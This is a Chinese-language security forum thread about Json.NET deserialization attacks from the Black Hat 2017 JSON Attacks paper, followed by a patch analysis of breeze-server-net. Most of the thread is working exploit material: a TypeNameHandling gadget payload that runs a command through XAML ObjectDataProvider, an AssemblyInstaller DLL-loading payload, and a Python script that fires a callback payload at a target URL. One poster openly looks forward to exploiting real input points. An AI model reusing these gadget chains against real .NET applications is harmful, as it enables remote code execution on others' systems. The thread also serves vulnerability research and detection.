us-17-Munoz-Friday-The-13th-JSON-Attacks-wp
发布于 1 年前 阅读权限 无需登录 作者 0c0c0f 9924 次浏览 来自 案例分享

https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

受影响的json组件如下:

image.png 默认配置的组件还是有一定安全风险的。

漏洞测试

由于Json.Net用户量最大,所以使用它来测试。 Json.Net Project Site: http://www.newtonsoft.com/json NuGet Downloads: 64,836,516

根据文章的线索,Json.Net反序列化的步骤: 1)指定的反序列化类型:System.Activities.Presentation.WorkflowDesigner 2)攻击向量:解析Xaml时执行命令 3)利用条件:需要在STA Thread中执行反序列化操作

测试代码如下:

String json= "{\"$type\":\"System.Activities.Presentation.WorkflowDesigner,\n" +
                "System.Activities.Presentation, Version=4.0.0.0, Culture=neutral,\n" +
                "PublicKeyToken=31bf3856ad364e35\",\n" +
                "\"PropertyInspectorFontAndColorData\":\"<ResourceDictionary\n" +
                "\n" +
                "xmlns=\\\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\\\"\n" +
                " xmlns:x=\\\"http://schemas.microsoft.com/winfx/2006/xaml\\\"\n" +
                " xmlns:System=\\\"clr-namespace:System;assembly=mscorlib\\\"\n" +
                " xmlns:Diag=\\\"clr-namespace:System.Diagnostics;assembly=system\\\">\n" +
                " <ObjectDataProvider x:Key=\\\"LaunchCalc\\\"\n" +
                " ObjectType=\\\"{x:Type Diag:Process}\\\"\n" +
                " MethodName=\\\"Start\\\">\n" +
                " <ObjectDataProvider.MethodParameters>\n" +
                " <System:String>calc</System:String>\n" +
                " </ObjectDataProvider.MethodParameters>\n" +
                " </ObjectDataProvider>\n" +
                "</ResourceDictionary>\"\n" +
                "}\n" +

Thread thread = new Thread(() => {
	var deser = JsonConvert.DeserializeObject<Object>(json, new JsonSerializerSettings
	{
		TypeNameHandling = TypeNameHandling.All
	});
	Console.WriteLine(deser);
});
thread.SetApartmentState(ApartmentState.STA);
thread.Start();
Console.ReadLine();

calc.jpg

11 回复

其他的poc

String json = "{\"$type\":\"System.Configuration.Install.AssemblyInstaller,\n" +
                "System.Configuration.Install, Version=4.0.0.0, Culture=neutral,\n" +
                "PublicKeyToken=b03f5f7f11d50a3a\",\n" +
                "\"Path\":\"file:///c:/testdll.dll\"}\n";

使用c#导出的dll文件可以成功加载,但是没有DllMain入口导致不能执行代码。c++的dll有DllMain函数,但是执行会报错。 未经处理的异常: Newtonsoft.Json.JsonSerializationException: Error setting value to ‘Path’ on ‘System.Configuration.Install.AssemblyInstaller’. —> System.BadI ageFormatException: 未能加载文件或程序集“file:///c:/pocdll.dll”或它的某一个 依赖项。该模块应包含一个程序集清单。 dll加载执行命令可以参考这篇文章:https://blog.cylance.com/implications-of-loading-net-assemblies

Jackson需要依赖setter方法,实现起来会不会很困难?看pdf,说JSON-IO是需要利用toString方法,想不到什么利用思路啊。。

排查重点就是看TypeNameHandling的值 001.jpg 更多可以访问 TypeNameHandling

@pwnpuky 对,不知道真实场景是怎么配置的。

@0c0c0f 用pwntester提供的一个案例(breeze-server-net)来说吧 002.jpg 在1.6.5修复版本中的XML加了这么一段


        <member name="M:Breeze.ContextProvider.BreezeConfig.CreateJsonSerializerSettingsForSave">
            <summary>
            Override to use a specialized JsonSerializer implementation for saving. 
            Base implementation uses CreateJsonSerializerSettings, then changes TypeNameHandling to None.
            http://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm
            </summary>
        </member>

我们反编译看看到底是怎么回事呢 这个是原来1.6.0版本的 003.jpg

TypeNameHandling = 1 //注意这里默认是Include the .NET type name when serializing into a JSON object structure.

那么我们再看看是怎么修复的

004.jpg

protected virtual JsonSerializerSettings CreateJsonSerializerSettingsForSave()
{
	JsonSerializerSettings expr_06 = this.CreateJsonSerializerSettings();
	expr_06.set_TypeNameHandling(0);
	return expr_06;
}

expr_06.set_TypeNameHandling(0);//Do not include the .NET type name when serializing types.

下一步就是寻找输入点,进行漏洞利用了。嘿嘿

@pwnpuky 框架默认开启了就有安全风险,国内的cms也可以翻一翻。

Json.NET is a popular high-performance JSON framework for .NET http://www.newtonsoft.com/json 有更新了 Added ReferenceResolverProvider to JsonSerializer to allow safe caching https://github.com/JamesNK/Newtonsoft.Json/pull/1393/files

检测插件:NetjsonVulTest.py

#coding:utf-8


import time
import urllib2
import urllib
import BaseHTTPServer
from SocketServer import ThreadingMixIn
import threading


ISVUL = False

class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):    
      
    def do_GET(self):
        global  ISVUL
        ISVUL = True
        
        message_parts = [ '.net json val test']    
        message = '\r\n'.join(message_parts)    
        self.send_response(200)    
        self.end_headers()
        self.wfile.write(message)    
            
  
    
class ThreadingHttpServer( ThreadingMixIn, BaseHTTPServer.HTTPServer ):  
    pass  


if __name__ == '__main__':  
    server = ThreadingHttpServer(('0.0.0.0',8000), WebRequestHandler)    
    ip, port = server.server_address  
    server_thread = threading.Thread(target=server.serve_forever)  
    server_thread.setDaemon(True)  
    server_thread.start()  
    print "service thread Run ok, name is : " + server_thread.getName()

    ##### 
    testData = '''{"$type":"System.Activities.Presentation.WorkflowDesigner,
System.Activities.Presentation, Version=4.0.0.0, Culture=neutral,PublicKeyToken=31bf3856ad364e35","PropertyInspectorFontAndColorData":"<ResourceDictionary    
xmlns=\\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\\"
 xmlns:x=\\"http://schemas.microsoft.com/winfx/2006/xaml\\"
 xmlns:System=\\"clr-namespace:System;assembly=mscorlib\\"
 xmlns:h=\\"clr-namespace:System.Net.Http;assembly=System.Net.Http\\">
 <ObjectDataProvider x:Key=\\"httpClient\\"
 ObjectType=\\"{x:Type h:HttpClient}\\"
 MethodName=\\"GetStringAsync\\">
 <ObjectDataProvider.MethodParameters>
 <System:String>{{att_url}}/</System:String>
 </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
</ResourceDictionary>"
}'''


    
    time.sleep(1)
    
    # att_url 为反弹URL
    att_url = "http://127.0.0.1:8000/"
    testData = testData.replace("{{att_url}}",att_url)
    testData = testData.replace('\n','')
    
    #测试参数名
    para_dct = {"testData":testData}
    url = """http://localhost:22876/Home/About"""
    para_data = urllib.urlencode(para_dct)
    f = urllib2.urlopen(url, para_data)
    content = f.read()
    
    time.sleep(5)
    if ISVUL:
        print "\r\nthe url: {" + url + "} is have .net json vul"
    else:
        print "\r\ndon't .net json vul"

回到顶部